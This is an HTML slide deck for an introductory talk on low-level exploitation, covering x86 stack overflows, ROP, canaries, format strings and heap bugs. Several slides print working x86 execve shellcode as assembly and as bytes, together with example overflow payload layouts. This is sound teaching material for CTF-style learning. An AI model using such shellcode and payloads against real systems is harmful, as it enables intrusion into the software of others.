2019/foocafe-exploits/slides.html

<!DOCTYPE html>
<html>
  <head>
    <title>From Overflow to Shell - An Introduction to low-level exploitation</title>
    <meta charset="utf-8">
    <style>
      @import url(https://fonts.googleapis.com/css?family=Droid+Serif);
      @import url(https://fonts.googleapis.com/css?family=Yanone+Kaffeesatz);
      @import url(https://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700,400italic);

      @page {
        /*size: 1024px 768px;*/
        size: 1280px 800px;
        margin: 0;
      }

      @media print {
        .remark-slide-scaler {
          width: 100% !important;
          height: 100% !important;
          transform: scale(1) !important;
          top: 0 !important;
          left: 0 !important;
        }
      }

      body {
        font-family: 'Droid Serif';
      }
      h1, h2, h3 {
        font-family: 'Yanone Kaffeesatz';
        font-weight: 400;
        margin-bottom: 0;
      }
      .remark-slide-content h1 { font-size: 3em; }
      .remark-slide-content h2 { font-size: 2em; }
      .remark-slide-content h3 { font-size: 1.6em; }
      .footnote {
        position: absolute;
        bottom: 3em;
      }
      li p { line-height: 1.25em; }
      .red { color: #fa0000; }
      .large { font-size: 2em; }
      a, a > code {
        color: rgb(249, 38, 114);
        text-decoration: none;
      }
      code {
        background: #e7e8e2;
        border-radius: 5px;
      }
      .remark-code, .remark-inline-code { font-family: 'Ubuntu Mono'; }
      .remark-code-line-highlighted     { background-color: #373832; }
      .pull-left {
        float: left;
        width: 47%;
      }
      .pull-right {
        float: right;
        width: 47%;
      }
      .pull-right ~ p {
        clear: both;
      }
      #slideshow .slide .content code {
        font-size: 0.8em;
      }
      #slideshow .slide .content pre code {
        font-size: 0.9em;
        padding: 15px;
      }
      .inverse {
        background: #272822;
        color: #777872;
        text-shadow: 0 0 20px #333;
      }
      .inverse h1, .inverse h2 {
        color: #f3f3f3;
        line-height: 0.8em;
      }

      /* Slide-specific styling */
      #slide-inverse .footnote {
        bottom: 12px;
        left: 20px;
      }
      #slide-how .slides {
        font-size: 0.9em;
        position: absolute;
        top:  151px;
        right: 140px;
      }
      #slide-how .slides h3 {
        margin-top: 0.2em;
      }
      #slide-how .slides .first, #slide-how .slides .second {
        padding: 1px 20px;
        height: 90px;
        width: 120px;
        -moz-box-shadow: 0 0 10px #777;
        -webkit-box-shadow: 0 0 10px #777;
        box-shadow: 0 0 10px #777;
      }
      #slide-how .slides .first {
        background: #fff;
        position: absolute;
        top: 20%;
        left: 20%;
        z-index: 1;
      }
      #slide-how .slides .second {
        position: relative;
        background: #fff;
        z-index: 0;
      }

      /* Two-column layout */
      .left-column {
        color: #777;
        width: 20%;
        height: 92%;
        float: left;
      }
        .left-column h2:last-of-type, .left-column h3:last-child {
          color: #000;
        }
      .right-column {
        width: 75%;
        float: right;
        padding-top: 1em;
      }
      .clear {
        clear: both;
        visibility: hidden;
        height: 0;
        overflow: hidden;
      }
    </style>
  </head>
  <body>
    <textarea id="source">

name: inverse
layout: true
class: center, middle, inverse
---
# From Overflow to Shell
An Introduction to low-level exploitation

- - -
Carl Svensson @ Foo Café, February 2019

---
layout: false


.left-column[
  ## Background
]
.right-column[
# Biography

* MSc in Computer Science, KTH
* Head of Security, KRY/LIVI
* CTF: HackingForSoju
* E-mail: calle.svensson@zeta-two.com
* Twitter: @zetatwo
]

---

.left-column[
  ## Background
]
.right-column[
# Agenda

1. Background
2. Stack based exploitation
3. Protections and bypasses
4. ~~Heap based explotation~~ 
5. Next steps
]

---

.left-column[
  ## Background
]
.right-column[
# Who are you?

* Programmer
* Security interested
* Low-level language
  - C, C++
* Basic OS

]

???

Notes

---

.left-column[
  ## Background
]
.right-column[
# What is an exploit?

* Unintended behaviour
* State machine
  - Initial state
  - Reachable state
  - Invalid state
* Exploit
  - Invalid state
  - "Dangerous" subset
* Vulnerability
  - Unintended transition (bug)
  - Leading to an exploit

![State machine](img/statemachine.png)
]

???

Notes

---

.left-column[
  ## Background
]
.right-column[
# A note on data

* Bits, groups of bits
  - nibble, byte, word, dword, qword
* Integer, text, code, addresses

```
65 66 67 68,
"ABCD",
inc ecx; inc edx; inc ebx; inc esp,
0x44434241
```

* Same data, different operation
  - Context
* Endianess, little vs big

```
Little: 0x44332211 = 0x11 0x22 0x33 0x44
Big: 0x44332211 = 0x44 0x33 0x22 0x11
```

]

---

.left-column[
  ## Background
]
.right-column[
# Where are we?

* Physics
* Circuits
* Machine code &lt;-- *You are here*
  - Assembler
* Low-level code: C, Rust
* Mid-level code: Java, C#
* High-level code: Python, JS

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
]
.right-column[
# x86 architecture 101

* Virtual memory
  - Stack, heap, code

![:img X86 Registers, 50%](img/proccontext.jpg)

]

---

.left-column[
  ## Background
  ## x86 basics
]
.right-column[
# x86 architecture 101

* Virtual memory
  - Stack, heap, code
* General purpose
  - EAX, EBX, ECX, EDX
* Special purpose
  - EIP, EBP, ESP


![:img X86 Registers, 50%](img/x86-registers.png)

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
]
.right-column[
# Calling convention

* Architecture specific
* x86, 32 bit

.pull-left[```asm
call 0xDEADBEEF
...
```]
.pull-right[```asm
push eip+5
jmp 0xDEADBEEF
```]
<div class="clear"></div>

.pull-left[```asm
ret
```]
.pull-right[```asm
pop eip
```]
<div class="clear"></div>

* args in reverse order

.pull-left[```c
f(a,b)
```]
.pull-right[```asm
push b
push a
call f

```]
<div class="clear"></div>

* base pointer

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
]
.right-column[
# Calling convention

* Architecture specific
* x86, 32 bit
* `call 0xDEADBEEF = push eip; jmp 0xDEADBEEF`
* `ret = pop eip`
* args in reverse order
* base pointer

![:img X86 Registers, 50%](img/stack-convention.png)

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Stack buffer overflow

* Unchecked write
* Overwrite adjacent memory
* Overwrite return address

```c
void vuln() {
  int local1;
  char buf[16];
  fgets(buf);
}
```

```
[buf (16 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
[AAAABBBBCCCCDDDD][EEEE][FFFF][GGGG]\0...
```

```
Program received signal SIGSEGV, Segmentation fault.
0x47474747 in example1 ()
```

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Shellcode

* Code that launches a shell
* One of the general goals

```asm
xor    %eax,%eax
push   %eax
push   $0x68732f2f ; "//sh"
push   $0x6e69622f ; "/bin", "/bin//sh"
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al ; execve
int    $0x80 ; syscall
```

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

]

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Stack buffer overflow (-96)

* Unchecked write
* Overwrite adjacent memory
* Overwrite return address
  - With shellcode address

```c
void vuln() {
  int local1;
  char buf[16];
  fgets(buf);
}
```

```
[buf (16 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
0xbffffdb4:
[31C050682F2F7368682F62696E89E350][5389E1B0][0BCD8000][0xbffffdb4]\0...
```

```
$ uname -a
Linux pwnbox 4.15.0-42-generic #45-Ubuntu...
```

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Shellcode placement

* Shellcode can be placed anywhere

```c
void vuln() {
  int local1;
  char buf[12];
  fgets(buf);
}
```

```
[buf (12 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
0xbffffdb4:
[AAAABBBBCCCCDDDD][EEEE][FFFF][0xbffffdd0]31C050682F2F7368682F62696E89E3505389E1B00BCD8000
```

```
$ uname -a
Linux pwnbox 4.15.0-42-generic #45-Ubuntu...
```

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Shellcode placement

* Shellcode can be placed anywhere
* Don't need exact location
  - NOP creates margin

```asm
nop = 0x90
```

```c
void vuln() {
  int local1;
  char buf[12];
  fgets(buf);
}
```

```
[buf (12 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
0xbffffdb4:
[AAAABBBBCCCCDDDD][EEEE][FFFF][0xbffffdd0]
90909090909090909031C050682F2F7368682F62696E89E3505389E1B00BCD8000
```

```
$ uname -a
Linux pwnbox 4.15.0-42-generic #45-Ubuntu...
```

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Protection: ASLR (-01)

* Base of stack random
  - Code still static
* Location unkown
* Gadget

```asm
0x4000104A:
jmp esp
```

```
[buf (16 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
0x????????:
[31C050682F2F7368682F62696E89E350][5389E1B0][0BCD8000][0x4000104A]
```

```
$ uname -a
Linux pwnbox 4.15.0-42-generic #45-Ubuntu...
```
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Protection: NX/DEP (-97)

* Random stack, static code
* Stack not executable, unkown location
* Gadgets
  - Return-oriented programming

.pull-left[```asm
0x4000104A:
...
pop eax
ret
```]
.pull-right[```asm
0x4000106A:
...
pop ebx
pop ecx
ret
```]
<div class="clear"></div>

```
[buf (16 bytes)][local1 (4 bytes)][saved bp (4 bytes)][return address (4 bytes)]
```

```
0x????????:
[AAAA...DDDD][EEEE][FFFF][0x4000104A][0xDEADBEEF][0x4000106A][0xCAFEBABE][0xFEEDF00D]
```

```
eax = 0xDEADBEEF
ebx = 0xCAFEBABE
ecx = 0xFEEDF00D
```
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Protection: StackGuard (-98)

* Prevent the overflow
* Canary, secret value
* Controlled crash

.pull-left[```c
void vuln() {
  int local1;
  char buf[12];
  fgets(buf);
}
```]
.pull-right[```c
void vuln() {
  push_stack_cookie(); // Compiler
  int local1;
  char buf[12];
  fgets(buf);
  check_stack_cookie(); // Compiler
}
```]
<div class="clear"></div>

```
SECRET = 0xfe481ac9
[buf (16 bytes)][local1 (4 bytes)][SECRET][saved bp (4 bytes)][ret address (4 bytes)]
```

```
[AAAA...DDDD][EEEE][FFFF][GGGG][0x4000104A]
0x464646466 != 0xfe481ac9
```

```
**** stack smashing detected ***: ./a.out terminated*
*======= Backtrace: =========*
*/lib/i386-linux-gnu/libc-2.27.so (__fortify_fail+0x48) Aborted*
```
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Other topics

* Format string vulnerability
* GOT, PLT
  - Protection: RELRO
* EBP overwrite
  - Create a new fake stack
* Partial overwrites

```
0x44434241 = 0x41 0x42 0x43 0x44
```
```
0xFF 0x42 0x43 0x44 = 0x444342FF
```

* Protection: Control-flow integrity (2014)
  - Bypass: JIT
* Protection: PAC (2017)
  - Bypass: TBA
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Format string vulnerability

```
int printf ( const char * format, ... );

printf("Name: %s, age: %d", name, age); // Ok
printf(name); // Vulnerable
```

* Variable number of arguments
* Controlled by format string
* `EBP+4*(i+1)`
* Read direct: `%x`
* Read indirect: `%s`
* Write: `%n`
* Copy: `%0*x`
* Skip: `%4$08x`

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Base pointer overwrite

* Fake stack
* Control local variables
* Absolute overwrite
* Partial overwrite

![:img X86 Registers, 50%](img/stack-convention.png)

]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
]
.right-column[
# Other topics

* Format string vulnerability
* GOT, PLT
  - Protection: RELRO
* EBP overwrite
  - Create a new fake stack
* Partial overwrites

```
0x44434241 = 0x41 0x42 0x43 0x44
```
```
0xFF 0x42 0x43 0x44 = 0x444342FF
```

* Protection: Control-flow integrity (2014)
  - Bypass: JIT
* Protection: PAC (2017)
  - Bypass: TBA
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
  ## Heap exploitation
]
.right-column[
# A refresher on memory

* Physical
* Virtual
* Pages
* Memory allocator
  - libc (malloc/free)
  - other custom

![:img Heap structure, 60%](img/heap.jpg)
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
  ## Heap exploitation
]
.right-column[
# Heap corruption: application layer

* Heap overflow
* Use after free
* Type confusion

![:img Heap structure, 60%](img/heap.jpg)
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
  ## Heap exploitation
]
.right-column[
# Heap corruption: memory allocator

* Re-linking
* Double free

![:img Heap structure, 60%](img/heap.jpg)
]

???

Notes

---

.left-column[
  ## Background
  ## x86 basics
  ## Stack Exploitation
  ## Heap exploitation
  ## Next steps
]
.right-column[
# Want try it out?

* Capture the Flag, CTF
  - https://ctftime.org
  - https://capturetheflag.withgoogle.com
* Wargames
  - https://picoctf.com
  - http://pwnable.kr
  - https://overthewire.org
* YouTube
  - LiveOverflow
  - Gynvael Coldwind
  - MurmusCTF
  - ZetaTwo
* Tools
  - python + pwntools
  - gdb + pwndbg
  - radare2, IDA, binary ninja
* Educational
  - https://github.com/RPISEC/MBE
  - https://github.com/shellphish/how2heap
]

???

Notes

---
template: inverse

# Questions?

    </textarea>
    <script src="https://remarkjs.com/downloads/remark-latest.min.js"></script>
    <script>window.remark || document.write('<script src="../../tools/remark-latest.min.js">\x3c/script>');</script>
    <script>
      remark.macros.img = function (altText, width) {
        var url = this;
        return '<img alt="' + altText + '" src="' + url + '" style="width: ' + width + '" />';
      };
      var slideshow = remark.create({
        highlightLanguage: 'javascript',
        highlightStyle: 'monokai',
        highlightLines: true,
        ratio: '16:9',
      });
    </script>
  </body>
</html>